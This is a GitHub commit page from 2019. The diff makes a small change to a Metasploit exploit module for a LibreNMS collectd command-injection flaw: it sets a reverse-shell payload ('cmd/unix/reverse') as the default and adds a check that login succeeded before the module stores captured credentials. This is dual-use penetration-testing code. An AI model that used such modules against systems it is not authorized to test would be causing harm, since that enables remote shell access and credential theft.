Skip to content

Commit

Permalink
add default payload, check login
Browse files Browse the repository at this point in the history
  • Loading branch information
space-r7 committed Aug 13, 2019
1 parent 286263c commit 70d5bd4
Showing 1 changed file with 4 additions and 2 deletions.
6 changes: 4 additions & 2 deletions modules/exploits/linux/http/librenms_collectd_cmd_inject.rb
Original file line number Diff line number Diff line change
Expand Up @@ -38,8 +38,9 @@ def initialize(info = {})
[
[ 'Linux',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse' }
}
]
],
Expand Down Expand Up @@ -99,6 +100,7 @@ def login
'uri' => normalize_uri(target_uri.path),
'cookie' => cookies
)
fail_with(Failure::NoAccess, 'Failed to log into LibreNMS') unless res && res.code == 200 && res.body.include?('Devices')

print_status('Successfully logged into LibreNMS. Storing credentials...')
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
Expand Down

0 comments on commit 70d5bd4

Please sign in to comment.